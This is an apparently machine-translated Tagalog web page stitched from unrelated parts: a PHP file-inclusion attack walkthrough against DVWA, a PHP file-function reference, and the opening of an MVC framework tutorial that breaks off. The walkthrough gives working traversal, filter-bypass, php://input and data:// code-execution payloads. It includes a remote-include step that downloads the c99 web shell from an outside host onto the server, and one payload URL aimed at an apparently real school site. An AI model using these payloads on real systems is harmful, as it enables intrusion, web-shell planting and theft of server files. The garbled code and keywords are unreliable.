Fictional view php file. File - Binabasa ang mga nilalaman ng isang file at inilalagay ito sa isang array. Paggawa gamit ang mga file sa server
Minsan ang pag-iniksyon ng file ay tinatawag na pagsasama, kung minsan ito ay itinuturing na bahagi ng PHP injection (code injection). Ang huli ay hindi ganap na totoo, dahil ang mga kahinaan sa pag-iniksyon ng file ay hindi kinakailangang nauugnay sa pagpapatupad ng code.
Maaaring mangyari ang kahinaan kapag gumagamit (sa PHP) ng mga expression tulad ng:
- nangangailangan_minsan,
- isama_minsan,
- isama,
- nangangailangan
Ang bawat isa sa kanila ay may maliit na mga nuances, ngunit kung ano ang mayroon sila sa karaniwan ay ang pagsasama nila ng isang file sa programa at isagawa ito. Ang mga expression na ito ay maaaring magdulot ng mga problema kung pumasa sila sa input ng user at hindi ito na-filter ng program nang sapat.
Oo nga pala, ito ay mga expression, hindi mga function. Hindi kinakailangang sumulat ng ganito:
Require("somefile.php");
Ang isang mas kanais-nais na pagpipilian ay:
Nangangailangan ng "somefile.php";
Ngunit ito ay isang pag-urong na walang kinalaman sa kahinaan.
Kung isinama ang mga file gamit ang mga expression na require_once, include_once, isama, kailangan, pagkatapos ay masasabi nating ang code injection ay nagaganap din sa parehong oras. Gayunpaman, posibleng magsama ng mga file nang hindi tumatakbo ang code sa server. Halimbawa, binabago ng isang website ang hitsura nito batay sa napiling tema ng user. Ang pangalan ng mga tema ay tumutugma sa pangalan ng mga HTML file na binabasa sa server. Sa sitwasyong ito, kung ang kahilingan ay nabuo sa paraang basahin ang isang file na hindi nilayon para dito (halimbawa, isang PHP file), sa halip na magsagawa ng mga command, ang PHP source code ay ipapakita.
Maaaring tukuyin ng user ang isang remote o lokal na file bilang file ng pagsasama. Batay dito, ang dalawang kaukulang varieties ay nakikilala:
- lokal na iniksyon ng file
- malayong iniksyon ng file
Ang panganib ng malayuang pagsasama ay ang pagpapatupad ng arbitrary code sa isang vulnerable server. Ito ay kadalasang ginagamit para sa mga impeksyon sa backdoor.
Ang panganib ng lokal na iniksyon ng file ay maaaring ipakita ng user ang mga nilalaman ng mga file na wala siyang karapatang tingnan (mga source code ng programa, mga file ng system na may mga setting at password). Gayundin, kasama ang lokal na pagsasama, posibleng magsagawa ng third-party na code (halimbawa, para sa backdoor infection), kung ang isang file na may malisyosong code ay dati nang na-upload sa server, o ginamit ang log poisoning method, o ilang iba pang pamamaraan.
Ang lokal na pagsasama ng mga file ay hindi gaanong mapanganib kaysa sa pagpapakilala ng mga malalayong file.
Pinagsasamantalahan ang Lokal na Pag-embed ng FileMaaari mong subukan ang iyong kamay sa kahinaang ito sa Damn Vulnerable Web Application (DVWA). Gumagamit ako ng Web Security Dojo, kung saan naka-install na ang DVWA.
Magsimula tayo sa mababang antas (mababang DVWA Security).
Pumunta tayo sa pahina ng Pagsasama ng File http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Kung ang isang halaga na katulad ng isang pangalan ng file (file1.php, file2.php) ay ipinasa bilang argumento sa isang variable, maaari nating ipagpalagay na ang isang kasama ay ginagamit. Dahil ang extension ng file ay .php, ang file ay malamang na naisakatuparan sa server (ibig sabihin, ang pag-iniksyon ng code ay posible) at hindi lamang ipinapakita para sa pagpapakita.
Ang DVWA ay may isang pahina na http://localhost/dvwa/about.php, ito ay matatagpuan sa dalawang antas pataas, subukan nating tingnan ito sa ganitong paraan: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ tungkol sa.php
Oo, mayroong isang lokal na kahinaan sa pagsasama. Kapag pumapasok, ang mga paglipat sa itaas na mga direktoryo (../) ay hindi na-filter, ang listahan ng mga file para sa pagsasama ay hindi kumpleto (sa halip na ang iminungkahing file*.php, pinili namin ang about.php).
Minsan ang mga kasamang file ay ginagamit, ngunit ang mga address ay maaaring magmukhang, halimbawa, tulad nito: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Sa kasong ito, maaaring magdagdag ng extension sa script at mag-embed ang script ng file na sa wakas ay nabuo na ang pangalan sa script. Karaniwan, ang kahinaan sa form na ito ay mahirap/imposibleng pagsamantalahan.
Kadalasan ang mga tao ay gustong magbigay ng tulad nito bilang isang halimbawa ng pagsasamantala sa lokal na pagsasama ng file:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Tulad ng nakikita natin, nagtrabaho ito. Ngunit dahil binabalewala ng mga web browser ang /r/n (mga bagong linyang character), kailangan nating buksan ang source ng code upang gawing nababasa ang mga entry:
Sa kasamaang palad, walang mga password sa /etc/passwd file sa mahabang panahon.
Mula sa server maaari kang kumuha ng iba't ibang mga file ng mga setting, mga SSL certificate, sa prinsipyo, anumang file na bukas para sa pagbabasa ng lahat ng mga gumagamit o kung saan ang web server ay may sapat na mga karapatang basahin:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Tulad ng para sa mga nakabahaging pagho-host, kung minsan ay posible na tumingin sa mga folder ng ibang tao (muli, kung ang mga karapatan ng gumagamit ay hindi na-configure nang tama).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Ang gawain ay kumplikado sa pamamagitan ng katotohanan na kailangan nating malaman ang landas patungo sa file.
Pagpapatakbo ng malayuang pag-iniksyon ng fileAng PHP ay isang napaka-flexible at developer-friendly na programming language. Ang mga command sa pag-embed ng file at ilang iba pa ay perpektong kinikilala at iproseso nang tama hindi lamang ang mga lokal na file, kundi pati na rin ang mga URL...
Subukan nating isulat ang URL ng site na https://site/ sa halip na ang pangalan ng file:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Tingnan kung gaano ito kawili-wili:
Ang sumusunod ay nangyari: ang PHP interpreter ay nakatanggap ng utos na isama ang file/site https://site/. Binuksan/na-download niya ang kaukulang address at ipinadala ang resultang code na ipapatupad bilang isang PHP program. Dahil ang PHP ay nagpapatupad lamang ng code na napapalibutan ng naaangkop na mga tag (sa kasong ito ay walang code) at nag-output ng lahat ng iba pa, ang buong pahina ng website ay output kung ano ang dati.
Siyempre, ang kahinaan na ito ay kawili-wili sa amin hindi dahil maaari naming tingnan ang iba pang mga site sa pamamagitan ng isang site.
Binigyang-diin ko ang salitang "teksto" sa kadahilanang sa server na nasa ilalim ng aming kontrol ay dapat mayroong isang text file na hindi dapat isagawa sa aming server. Kailangan lang ipakita ng aming server ang mga nilalaman nito.
Upang lumikha ng backdoor, maaari mong gamitin ang Weevely, PhpSploit, o maaari kang kumuha ng mga handa na solusyon. Gumamit tayo ng isang handa na sa pagkakataong ito.
Itatalaga ko ang $backdoor variable ang source code ng backdoor, na dina-download ko mula sa Github. Pagkatapos ay ginagamit ko ang file_put_contents function upang i-save ang resultang source code sa c99unlimited.php file.
Ang code na inilagay ko sa isang text file
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "tapos na!";
Ito ay makukuha sa http://miloserdov.org/sec.txt
Ngayon, gamit ang isang remote na kasama, nag-a-upload kami ng backdoor sa isang vulnerable na server.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Bigyang-pansin ang inskripsiyon na ginawa!, ito ay ipinapakita ng script, i.e. lahat ay malamang na gumana.
Dahil ang script na kinabibilangan ng mga file ay matatagpuan sa http://localhost/dvwa/vulnerabilities/fi/ na direktoryo, at ang aming bagong file na may backdoor ay dapat na naka-save na may pangalang c99unlimited.php, ang buong address ng backdoor ay nasa ang vulnerable server ay dapat na: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Sinusuri namin:
Mahusay, mayroon na tayong lahat ng feature na maaaring kailanganin ng administrator ng web server... at ang mga may access sa kanilang server.
I-bypass ang pag-filter kapag nagsasama ng mga file nang lokalLumipat tayo sa katamtamang antas ng seguridad (nako-configure sa DVWA Security).
Kung titingnan natin ang source code (View Source button):
pagkatapos ay makikita natin na ang ../ character ay na-filter na ngayon. Pipigilan tayo nito na lumipat sa isang direktoryo na mas mataas kaysa sa direktoryo kung saan tumatakbo ang mahinang script.
Yung. walang gagana tulad nito:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Pag-isipan natin kung paano gumagana ang pag-filter sa kasong ito? Sabihin nating ang salitang "masama" ay na-filter, pagkatapos ay isang linya tulad ng
mabuti masama mabuti
pagkatapos ng pag-filter ito ay magiging ganito:
mabuti mabuti
At kung magpasok ka ng linyang tulad nito
masama masama xo
pagkatapos ay pagkatapos ng pag-filter (ang "masama" ay aalisin) ito ay lalabas
masama
Sa ../ isiningit namin ang ../ sa gitna uli pala ..././
Subukan natin ang address na ito http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf
Gumana ito!
Ang isa pang workaround ay ang pag-encode ng mga character sa hexadecimal encoding, isang halimbawa ng linyang ito:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
Ang "../" ay maaaring palitan ng "%2E%2E%2f".
Isinasagawa din ang double hex encoding, kung saan ang “../” ay pinalitan ng “%252E%252E%252F”
Lokal na pagsasama ng mga file kapag nagdaragdag ng extension sa isang scriptKung ang code kasama ang mga file ay mukhang:
Yung. Kung ang isang .php o ilang iba pang extension ay idinagdag sa anumang input ng user, hindi nito pinapayagan ang kahilingan na mabuo sa paraang magsagawa ng pag-atake.
Mayroong ilang mga diskarte na idinisenyo upang itapon ang extension, ngunit maaari silang ituring na hindi na ginagamit dahil gumagana ang mga ito sa PHP 5.3, at kahit na hindi lahat ng mga bersyon. Gayunpaman, ang mga administrator ng web server ay klinikal na konserbatibo at mas gusto nilang huwag hawakan ang anuman kung ito ay gumagana. Yung. May pagkakataong makatagpo ng isang server na may napaka sinaunang bersyon ng PHP, at dapat mong malaman ang mga diskarteng ito.
Gamit ang null byte %00 (null byte)
Ang isang null byte ay idinagdag sa dulo ng kahilingan na huwag pansinin ang extension:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Ang pangalawang paraan ay tinatawag na path pruning attack. Ang bottom line ay ang PHP ay pinuputol ang mga path na mas mahaba kaysa sa 4096 bytes. Sa kasong ito, binubuksan ng PHP ang file nang tama, kahit na may mga slash at tuldok sa dulo ng pangalan nito. Kung pumasa ka bilang isang parameter tulad ng?param1=../../../../etc/passwd/./././././ (kung saan ang ./ ay inuulit ng maraming libu-libong beses), pagkatapos ang end file kasama ang extension (na idinagdag ng script, bilang resulta kung saan ang pangalan ng file ay naging kasama ang/../../../../etc/passwd/./././././ .php) ay itatapon. At ang pangalan ng file ay isasama ang/../../../../etc/passwd/./././././. At dahil hindi nalilito ang PHP sa pamamagitan ng trailing slash at ./ sa dulo ng file, binabalewala lang nito ang mga ito, sa kabuuang PHP ay bubuksan ang file kasama ang path kasama ang/../../../../etc/ passwd.
Pag-bypass sa pag-filter para sa malayuang pag-iniksyon ng fileGaya ng nakita na natin sa source code, pini-filter din ng katamtamang antas ng seguridad ang http:// at https://.
Ngayon http://localhost/dvwa/vulnerabilities/fi/?. Gagamitin namin ang eksaktong parehong diskarte sa pag-bypass ng pag-filter na may lokal na pagsasama. Binuo na kahilingan:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
At tandaan din na hindi ito na-filter, halimbawa ftp, i.e. Ang pagpipiliang ito ay gagana nang walang anumang mga trick:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Pagkuha ng source code ng PHP script kapag nagsasama ng mga file mula sa php://filterAng trick na ito ay hindi nangangailangan ng malayuang pagsasama ng file. Isang uri ng meta wrapper na php://filter ang gagamitin.
Sabihin nating gusto nating makita ang source code ng file na file1.php, pagkatapos ay para sa ating sitwasyon ang kahilingan ay bubuuin tulad nito:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Bigyang-pansin ang walang kahulugan na string ng mga titik at numero - ito ang source code ng file file1.php sa base64 encoding. Dahil base64 ito, sinusuportahan din ang mga binary file.
I-decode natin ang file:
Remote code execution gamit ang php://inputIto ay hindi tulad ng pag-embed ng file at muli ay hindi nangangailangan sa iyo na mag-upload ng mga file.
Upang makatulong, gagamitin ko ang extension ng FireFox, maaari mo ring gamitin ito o anumang iba pang program (halimbawa, curl) na maaaring maglipat ng data gamit ang POST method.
Ang php://input ay may access sa raw body ng HTTP request, para maunawaan kung ano ang ginagawa ng include("php://input"), buksan ang page
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
At sa katawan ng kahilingan, ipadala ang tamang PHP code (halimbawa, gamit ang POST method). Papayagan ka nitong magsagawa ng anumang function na pinapayagan sa remote server!
Remote code execution na may data://
Bukod pa rito, sinusuportahan ng PHP ang data:// URL scheme. Maaari mong direktang ilagay ang code sa GET parameter! Ang sumusunod na pagsubok ay hindi nangangailangan ng anumang mga espesyal na tool, isang regular na browser lamang upang maisagawa ang pag-atake.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Maaaring mapansin ng ilang firewall ng web application ang isang kahina-hinalang string sa isang URL at i-block ang nakakahamak na kahilingan. Ngunit mayroong isang paraan upang i-encrypt ang string na may hindi bababa sa base64 encoding:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Magsagawa ng mga di-makatwirang utos mula sa /proc/self/environ/proc/self/environ ay ang process variable storage. Kung ang proseso ng Apache ay may sapat na mga karapatan upang ma-access ito, pagkatapos ay kapag nagbubukas ng isang web page na naglalaman ng isang kasama na may katulad na URL,
www.website.com/view.php?page=../../../../../proc/self/environ
maglalabas ng isang bagay tulad ng
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Bigyang-pansin ang HTTP_USER_AGENT. Sa halip, maaari mong palitan ang tamang PHP code, na isasagawa sa isang malayong server.
Pag-ukit at pag-iniksyon ng mga log kapag nagsasama ng mga file nang lokalSa kasamaang palad, ang paraang ito ay hindi na gumagana sa mga kamakailang bersyon ng Apache.
Ang kakanyahan nito ay nakasalalay sa katotohanan na ang code ng umaatake ay na-injected sa mga log ng web server. Magagawa ito sa pamamagitan ng pagpapalit ng User-Agent , o kahit na simpleng pagpasa nito sa isang parameter ng GET.
Static na iniksyon ng isang malayuang fileAng halimbawa ng isang static ay kinabibilangan ng:
Maaari kang gumamit ng static na pagsasama sa mga napaka-exotic na sitwasyon. Upang mag-inject ng malisyosong code, kinakailangang magsagawa ng man-in-the-middle na pag-atake sa pagitan ng dalawang server: ang isa ay nagho-host ng web application gamit ang kasama, at ang pangalawa ay nagho-host ng file na ginamit para sa pagsasama.
PHP file_exists("test.txt")//May file ba? filesize("test.txt");//Alamin ang laki ng file //Ibinalik ang timestamp: fileatime("test.txt");//Petsa ng huling pag-access sa file //date("d M Y" , $atime); filemtime("test.txt");//Petsa ng pagbabago ng file //date("d M Y", $mtime); filectime("test.txt");//Petsa ng paglikha ng file (Windows) //date("d M Y", $ctime); Files: operating modes PHP resource fopen (string filename, string mode) // resource - nagbabalik ng pointer sa file kung sakaling magtagumpay, o FALSE kung sakaling magkamalibukas na file read-only; |
buksan ang file para sa pagbabasa at pagsusulat; |
buksan ang file para sa pagsusulat lamang. Kung mayroon ito, ang kasalukuyang nilalaman ng file ay masisira. Ang kasalukuyang posisyon ay nakatakda sa simula; |
buksan ang file para sa pagbabasa at pagsusulat. Kung mayroon ito, ang kasalukuyang nilalaman ng file ay masisira. Ang kasalukuyang posisyon ay nakatakda sa simula; |
buksan ang file para sa pagsusulat. Ang kasalukuyang posisyon ay nakatakda sa dulo ng file; |
buksan ang file para sa pagbabasa at pagsusulat. Ang kasalukuyang posisyon ay nakatakda sa dulo ng file; |
iproseso ang binary file. Ang flag na ito ay kinakailangan kapag nagtatrabaho sa mga binary file sa Windows. |
Sa una, ang Pagsulat ay magaganap sa simula ng file, sa pamamagitan ng pag-overwrite ng umiiral na data, kung mayroon man. Samakatuwid, kung kailangan mong magsulat ng isang bagay sa dulo ng file, kailangan mong itakda ang naaangkop na mode ng pagbasa, halimbawa, a+ .
Pagmamanipula ng cursor sa mga PHP file PHP int fseek(int fi, int offset [, int kung saan]) //Pagtatakda ng cursor // int fi - pointer sa file //offset - ang bilang ng mga character na lilipat. //kung saan: //SEEK_SET - nagsisimula ang paggalaw sa simula ng file; //SEEK_CUR - nagsisimula ang paggalaw mula sa kasalukuyang posisyon; //SEEK_END - nagsisimula ang paggalaw mula sa dulo ng file. fseek($fi, -10, SEEK_END); //Basahin ang huling 10 character $s = fread($fi, 10); $pos = ftell($fi); // Alamin ang kasalukuyang posisyon rewind($f) // i-reset ang cursor bool feof($f) // dulo ng file Direktang gumana sa mga file (data) sa PHP PHP array file(string filename) // Kunin ang mga nilalaman ng file sa anyo ng isang array // Isa pang opsyon para sa direktang pagtatrabaho sa data file_get_contents(string filename) // Pagbabasa (nakukuha namin ang buong file sa isang linya) // Pagsusulat sa file (sa una ay na-overwritten) file_put_contents(string filename , mixed data[,int flag]); //FILE_APPEND // Sumulat sa dulo ng file: file_put_contents("test.txt", "data", FILE_APPEND); //Kung magsulat ka ng array, $array = array("I", "live"); file_put_contents("test.txt",$array); //then we get "Ilive" Managing files in php PHP copy(string source, string destination); // Kinokopya ang file rename(str oldname, str newname); // Palitan ang pangalan ng file unlink (string filename); // Pagtanggal ng file Pag-upload ng mga file sa PHP server // PHP.ini settings file_uploads (on|off) // pagpayag o hindi pagpapagana ng file uploads upload_tmp_dir // pansamantalang folder para sa mga na-upload na file. bilang default pansamantalang folder upload_max_filesize (default = 2 Mb) // max. laki ng na-upload na file post_max_size // kabuuang laki ng form na ipinadala (dapat mas malaki kaysa sa upload_max_filesize) //Simple HTML upload Nakikipagtulungan kami sa mga file sa PHP server //Tumatanggap ng data $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Ilipat ang file move_uploaded_file($tmp, pangalan); move_uploaded_file($tmp, "upload/".name); // i-redirect ang file sa upload folder // kaugnay sa kasalukuyang file // Ano ang nasa $_FILES array $_FILES["userfile"]["name"] // file name, halimbawa, test.html $_FILES[ "userfile"][" tmp_name"] // pansamantalang pangalan ng file (path) $_FILES["userfile"]["size"] // laki ng file $_FILES["userfile"]["type"] // file type $ _FILES["userfile"] ["error"] // 0 - walang mga error, numero - oo Maraming mga tao ang nagsimulang magsulat ng isang proyekto upang gumana sa isang gawain, hindi nagpapahiwatig na maaari itong lumaki sa isang multi-user na sistema ng pamamahala, halimbawa , nilalaman o, ipinagbawal ng Diyos, produksyon. At ang lahat ay tila mahusay at cool, lahat ay gumagana, hanggang sa simulan mong maunawaan na ang code na nakasulat ay ganap na binubuo ng mga saklay at hard code. Ang code ay halo-halong may layout, mga query at saklay, kung minsan kahit na hindi nababasa. Ang isang pagpindot na problema ay lumitaw: kapag nagdaragdag ng mga bagong tampok, kailangan mong mag-tinker sa code na ito nang napakatagal, naaalala ang "ano ang nakasulat doon?" at isumpa ang iyong sarili sa nakaraan.Maaaring narinig mo na rin ang tungkol sa mga pattern ng disenyo at nabasa mo pa ang mga magagandang aklat na ito:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides "Mga diskarte sa disenyo na nakatuon sa object. Mga Pattern ng Disenyo";
- M. Fowler "Arkitektura ng Enterprise Software Applications."
Ang artikulong ito ay magiging kapaki-pakinabang lalo na para sa mga nagsisimula. Sa anumang kaso, umaasa ako na sa loob ng ilang oras ay makakakuha ka ng ideya ng pagpapatupad ng pattern ng MVC, na sumasailalim sa lahat ng modernong web frameworks, at makakuha din ng "pagkain" para sa karagdagang pagmuni-muni sa "kung paano gawin mo." Sa dulo ng artikulo ay mayroong isang seleksyon ng mga kapaki-pakinabang na link na makakatulong din sa iyong maunawaan kung ano ang binubuo ng mga web frameworks (bukod sa MVC) at kung paano gumagana ang mga ito.
Ang mga batikang programmer ng PHP ay malamang na hindi makahanap ng bago para sa kanilang sarili sa artikulong ito, ngunit ang kanilang mga komento at komento sa pangunahing teksto ay magiging lubhang kapaki-pakinabang! kasi Kung walang teorya, imposible ang pagsasanay, at kung walang pagsasanay, ang teorya ay walang silbi, pagkatapos ay magkakaroon muna ng kaunting teorya, at pagkatapos ay magpatuloy tayo sa pagsasanay. Kung pamilyar ka na sa konsepto ng MVC, maaari mong laktawan ang seksyon ng teorya at dumiretso sa pagsasanay.
1. Teorya Ang pattern ng MVC ay naglalarawan ng isang simpleng paraan upang buuin ang isang application, ang layunin nito ay upang paghiwalayin ang logic ng negosyo mula sa user interface. Bilang resulta, ang application ay mas madaling sukatin, subukan, panatilihin at, siyempre, ipatupad.Tingnan natin ang conceptual diagram ng MVC pattern (sa palagay ko, ito ang pinakamatagumpay na diagram na nakita ko):
Sa arkitektura ng MVC, ang modelo ay nagbibigay ng data at mga panuntunan sa lohika ng negosyo, ang view ay responsable para sa user interface, at ang controller ay nagbibigay ng pakikipag-ugnayan sa pagitan ng modelo at ng view.
Ang isang karaniwang daloy ng isang MVC application ay maaaring ilarawan bilang mga sumusunod:
Nagpapakita ito ng view ng, halimbawa, ang pangunahing pahina ng site.
na, halimbawa, ay naglalaman ng mga modelong tawag na nagbabasa ng impormasyon mula sa database.
Ang modelo ay hindi dapat direktang makipag-ugnayan sa user. Ang lahat ng mga variable na nauugnay sa kahilingan ng gumagamit ay dapat iproseso sa controller.
Ang modelo ay hindi dapat bumuo ng HTML o iba pang display code na maaaring magbago depende sa mga pangangailangan ng user. Ang nasabing code ay dapat iproseso sa mga view.
Ang parehong modelo, halimbawa: ang modelo ng pagpapatunay ng user ay maaaring gamitin sa parehong user at administratibong bahagi ng application. Sa kasong ito, maaari mong ilipat ang pangkalahatang code sa isang hiwalay na klase at magmana mula dito, na tumutukoy sa mga sub-application-specific na pamamaraan sa mga inapo nito.
View - ginagamit upang tukuyin ang panlabas na pagpapakita ng data na natanggap mula sa controller at modelo.
Ang mga view ay naglalaman ng HTML markup at maliliit na pagsingit ng PHP code upang i-traverse, i-format, at ipakita ang data.
Hindi dapat direktang ma-access ang database. Ito ang dapat gawin ng mga modelo.
Hindi dapat gumana sa data na nakuha mula sa isang kahilingan ng user. Ang gawaing ito ay dapat gawin ng controller.
Maaaring direktang ma-access ang mga katangian at pamamaraan ng isang controller o mga modelo upang makakuha ng data na handa sa output.
Ang mga view ay karaniwang nahahati sa isang karaniwang template, na naglalaman ng markup na karaniwan sa lahat ng mga pahina (halimbawa, isang header at footer) at mga bahagi ng template na ginagamit upang ipakita ang output ng data mula sa modelo o ipakita ang mga form sa pagpasok ng data.
Ang controller ay ang pandikit na nag-uugnay sa mga modelo, view, at iba pang bahagi sa isang gumaganang application. Ang controller ay responsable para sa pagproseso ng mga kahilingan ng user. Ang controller ay hindi dapat maglaman ng mga query sa SQL. Mas mainam na panatilihin ang mga ito sa mga modelo. Ang controller ay hindi dapat maglaman ng HTML o iba pang markup. Ito ay nagkakahalaga na dalhin ito sa view.
Sa isang mahusay na idinisenyong MVC application, ang mga controller ay kadalasang napakanipis at naglalaman lamang ng ilang dosenang linya ng code. Ang parehong ay hindi masasabi tungkol sa Stupid Fat Controllers (SFC) sa CMS Joomla. Ang lohika ng controller ay medyo tipikal at karamihan sa mga ito ay inililipat sa mga batayang klase.
Ang mga modelo, sa kabaligtaran, ay napakakapal at naglalaman ng karamihan sa mga code na nauugnay sa pagproseso ng data, dahil ang istraktura ng data at lohika ng negosyo na nakapaloob dito ay karaniwang medyo tiyak sa isang partikular na aplikasyon.
Umaasa ako na napansin mo na ang iba't ibang mga site ay maaaring magkaroon ng ganap na magkakaibang mga format para sa pagbuo ng address bar. Maaaring ipakita ng bawat format ang arkitektura ng isang web application. Kahit na ito ay hindi palaging ang kaso, sa karamihan ng mga kaso ito ay isang malinaw na katotohanan.
Isaalang-alang natin ang dalawang opsyon para sa address bar, na nagpapakita ng ilang text at profile ng user.
Unang pagpipilian:
Pangalawang opsyon:
Makikita mo ang multi-touchpoint na diskarte sa mga forum ng phpBB. Ang forum ay tinitingnan sa pamamagitan ng viewforum.php script, ang paksa ay tinitingnan sa pamamagitan ng viewtopic.php, atbp. Ang pangalawang diskarte, na na-access sa pamamagitan ng isang pisikal na script file, ay makikita sa aking paboritong CMS MODX, kung saan ang lahat ng mga tawag ay dumadaan sa index.php.
Ang dalawang pamamaraang ito ay ganap na naiiba. Ang una ay tipikal para sa pattern ng Page Controller, at ang pangalawang diskarte ay ipinapatupad ng pattern ng Front Controller. Ang controller ng pahina ay mabuti para sa mga site na may medyo simpleng lohika. Kaugnay nito, pinagsasama-sama ng controller ng kahilingan ang lahat ng aktibidad sa pagpoproseso ng kahilingan sa isang lugar, na nagbibigay dito ng mga karagdagang kakayahan na maaaring magpapahintulot sa iyo na magpatupad ng mas kumplikadong mga gawain kaysa sa karaniwang nalutas ng controller ng pahina. Hindi ako pupunta sa mga detalye ng pagpapatupad ng controller ng pahina, ngunit sasabihin lamang na sa praktikal na bahagi, ito ang magiging controller ng kahilingan (isang bagay na katulad) na bubuo.
1.2. URL Routing Ang pagruruta ng URL ay nagbibigay-daan sa iyo na i-configure ang iyong application na tumanggap ng mga kahilingan mula sa mga URL na hindi tumutugma sa aktwal na mga file ng application, at gumamit ng mga CNC na may kahulugan sa mga user at mas gusto para sa pag-optimize ng search engine.Halimbawa, para sa isang regular na page na nagpapakita ng contact form, maaaring ganito ang hitsura ng URL:
http://www.example.com/contacts.php?action=feedback
Tinatayang processing code sa kasong ito:
switch ($_GET ["action" ]) ( case "about" : require_once ("about.php" ); // "About.php" page break ; case "contacts" : require_once ("contacts.php" ); // page na "Contacts" break ; case "feedback" : require_once ("feedback.php" ); // page "Feedback" break ; default: require_once ("page404.php" ); // page "404" break ; )
Sa tingin ko halos lahat ay nagawa na ito dati.
Gamit ang isang URL routing engine, maaari mong i-configure ang iyong application upang tanggapin ang mga kahilingang tulad nito upang ipakita ang parehong impormasyon:
http://www.example.com/contacts/feedback
Dito kinakatawan ng mga contact ang controller, at ang feedback ay ang paraan ng controller ng contact na nagpapakita ng feedback form, atbp. Babalik tayo sa isyung ito sa praktikal na bahagi.
Mahalaga rin na malaman na maraming mga web frameworks' router ang nagbibigay-daan sa iyo na lumikha ng mga custom na ruta ng URL (tukuyin kung ano ang ibig sabihin ng bawat bahagi ng URL) at mga panuntunan para sa pagproseso ng mga ito.
Ngayon ay mayroon na tayong sapat na teoretikal na kaalaman upang magpatuloy sa pagsasanay.
Sa hinaharap, sasabihin ko na ang mga pangunahing klase ng Model, View at Controller ay maiimbak sa pangunahing folder.
Ang kanilang mga anak ay maiimbak sa mga direktoryo ng controller, modelo at view. Ang index.php file ay ang entry point sa application. Sinisimulan ng bootstrap.php file ang paglo-load ng application, pagkonekta sa lahat ng kinakailangang module, atbp.
Kami ay pupunta nang sunud-sunod; Buksan natin ang index.php file at punan ito ng sumusunod na code:
ini_set("display_errors" , 1 ); require_once "application/bootstrap.php" ;
Hindi dapat magkaroon ng anumang mga katanungan dito.
Susunod, pumunta agad tayo sa bootstrap.php file:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Ruta::start(); //simulan ang router
Ang unang tatlong linya ay magsasama ng kasalukuyang hindi umiiral na mga file ng kernel. Kasama sa mga huling linya ang file na may klase ng router at ilunsad ito para sa pagpapatupad sa pamamagitan ng pagtawag sa static na paraan ng pagsisimula.
RewriteEngine Sa RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
Ire-redirect ng code na ito ang lahat ng pagpoproseso ng pahina sa index.php, na siyang kailangan namin. Tandaan sa unang bahagi na pinag-usapan natin ang Front Controller?!
Ilalagay namin ang pagruruta sa isang hiwalay na file route.php sa pangunahing direktoryo. Sa file na ito, ilalarawan namin ang klase ng Ruta, na magpapatakbo ng mga pamamaraan ng controller, na bubuo naman ng page view.
Mga nilalaman ng route.php file
